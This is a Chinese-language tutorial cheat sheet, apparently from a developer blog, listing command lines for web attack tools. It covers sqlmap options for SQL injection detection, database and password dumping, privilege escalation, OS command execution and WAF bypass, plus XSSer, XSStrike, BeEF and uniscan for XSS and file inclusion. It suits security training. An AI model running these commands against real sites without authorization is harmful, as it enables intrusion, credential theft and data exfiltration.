一、SQL 注入

web 应用或网站在处理用户输入时没有正确过滤和转义特殊字符,导致用户输入被当成 sql 语句执行。

1. sqlmap

自动发现和利用 web 应用中的数据库漏洞

基本功能

对 web 应用中的数据库进行自动化检测、利用和攻击。

  • 检测链接地址是否包含SQL注入漏洞
sqlmap -u "URL地址"
sqlmap -u "URL地址" --batch # 启用所有需要手动确认的功能
sqlmap -u "URL地址" --current-user --current-db --batch # 查看当前连接数据库的用户和数据库名
sqlmap -u "URL地址" --is-dba --batch # 判断当前用户是否是 dba 权限
sqlmap -u "URL地址" --privileges --batch # 列举当前用户权限
sqlmap -u "URL地址" --priv-esc–batch # 提权
sqlmap -u "URL地址" --users-batch # 列举所有用户
sqlmap -u "URL地址" --passwords --batch 
sqlmap -u "URL地址" --dbs --batch
sqlmap -u "URL地址" -D库名 --tables --batch
sqlmap -u "URL地址" -D库名 -T表名 --columns --batch
sqlmap -u "URL地址" -D库名 -T表名 -C指定列名,指定列名 --dump–batch

sqlmap 执行数据库交互

sqlmap -u "URL地址" --sql-query="查询语句" –batch
sqlmap -u "URL地址" --sql-shell --batch
sqlmap -u "URL地址" --os-cmd=系统命令 --batch
sqlmap -u "URL地址" --os-cmd=系统命令 --batch

POST请求类型的SQL注入

  • 方法一
sqlmap -u "URL地址" --data="POST的内容" --batch
sqlmap -u "http://x.x.x.x:8080/WebGoat/SqlInjection/assignment5b" --data="login_count=webgoat&userid=0" --batch --cookie="xxx"
  • 方法二

burp suit 拦截数据包,右键单击请求,save item,保存为文件

sqlmap -r 保存的文件 --batch
sqlmap -m 文件地址 # 批量检测

指定 sql 注入的方式

sqlmap -u "URL地址" --technique=E --batch
  • E 报错注入
  • B 基于布尔的盲注
  • U 联合查询
  • S 堆叠查询
  • T 基于时间的盲注
  • Q 仅仅使用内联查询

sqlmap 脚本

借助 sqlmap 脚本绕过 waf 的检测

sqlmap -u "URL地址" --batch --tamper 脚本名

2. JSQL injection

基于 Java 的轻量级 sql 注入引用

apt install jsql-injection

二、XSS

网站安全漏洞,攻击者可以利用其在网站中注入JS客户端代码

1. XSSer

apt install xsser
xsser -u "URL地址" -g '路径和参数'
xsser -u "URL地址" -c爬虫深度 --Cl URL地址

2. XSStrike

pip3 install xsstrike

3. BeEF

利用浏览器中的 xss 漏洞

三、文件包含漏洞

是一种代码注入漏洞,发生在使用了文件包含函数的位置

  • 本地文件包含:能够打开并包含本地文件的漏洞
  • 远程文件包含:能够打开并包含远程文件的漏洞

uniscan

文件包含漏洞扫描器

apt install uniscan
uniscan -u URL地址 -qweds

检测完在 /usr/share/uniscan/report 目录下生成扫描结果

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐